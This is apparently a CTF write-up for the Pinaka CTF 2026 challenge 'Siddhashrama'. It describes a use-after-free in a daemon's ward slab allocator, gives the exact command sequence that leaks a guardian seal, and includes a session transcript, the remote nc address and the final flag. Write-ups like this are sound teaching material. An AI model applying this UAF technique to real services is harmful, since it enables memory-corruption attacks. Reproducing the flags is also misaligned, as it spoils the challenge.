Siddhashrama: The Unbroken Vigil
By Team Cryptonite · 1 min read
About the CTF: Pinaka CTF
Reverse a stripped concurrent daemon with a custom slab allocator. Find the deterministic UAF seam in ward hand-off/renewal, craft a memory primitive, and complete the restricted proof.
**Pinaka CTF 2026** · Binary exploitation · Team Cryptonite · All 44 Pinaka write-ups
Reverse a stripped concurrent daemon with a custom slab allocator. Find the deterministic UAF seam in ward hand-off/renewal, craft a memory primitive, and complete the restricted proof. Connection: nc 130.210.48.10 9002
Solve
So basically, stale handle in the ward arena lets GET read the guardian onject that CONSECRATE places in the freed slot. The guardian starts with an 8 byte seal.
Running PROVE with that seal gives the flag.
basically, ward assigns a slot
then entrust will OR the 0xE flag with the 32 bit flags field
then retire will or with 0x1
this will make it sweep eligible
sweep will free the slot and free it, but then it returns a stale pointer which can be reclaimed by consecrate
consecrate will instlal guardian object
then get 0 will leak the bytes
we then prove with PROVE 0
We just need to pass this check:
Local Solve:
./run.sh
[run] talking to vigil over stdin/stdout - type HELP for commands, QUIT to leave.
SIDDHASHRAMA VIGIL v1.0 - the unbroken watch over Vishwamitra's yajna.
The Mandala holds 256 ward-slots. Commands (one per line):
WARD <name> arm a new protective ward -> handle
SET <h> <hexbytes> inscribe the ward's mantra (<=40 bytes)
GET <h> read back the ward's mantra
ENTRUST <h> hand the ward to the vigil plane
RETIRE <h> mark the ward spent
SWEEP vigil reclaims retired, entrusted wards
CONSECRATE vigil renews the celestial guardian
RELEASE <h> control-plane frees a ward (invalidates handle)
PROVE <h> <seal_hex> present a guardian to complete the vigil's proof
STATUS | HELP | QUIT
WARD
OK ward id=1 handle=0 slot=0
ENTRUST 0
OK entrusted handle=0 slot=0
RETIRE 0
OK retired handle=0 slot=0
SWEEP
OK swept=1
CONSECRATE
OK consecrated slot=0 (guardian renewed)
GET 0
OK mantra handle=0 slot=0 data=2760ed249975fc3e756e62726f6b656e2d766967696c2d677561726469616e000000000000000000
PROVE 0 2760ed249975fc3e756e62726f6b656e2d766967696c2d677561726469616e
PROVEN the unbroken vigil acknowledges you, guardian of the yajna
FLAG PINAKA{local-practice-A06-set-PINAKA_FLAG-in-env}
Putting this in nc gave the flag
RELEASE won't work because it will clear the handle table entry. we need to go through ENTRUST + RETIRE + SWEEP to prove guardian
Flag:
PINAKA{siddhashrama_the_vigil_has_one_unseen_seam}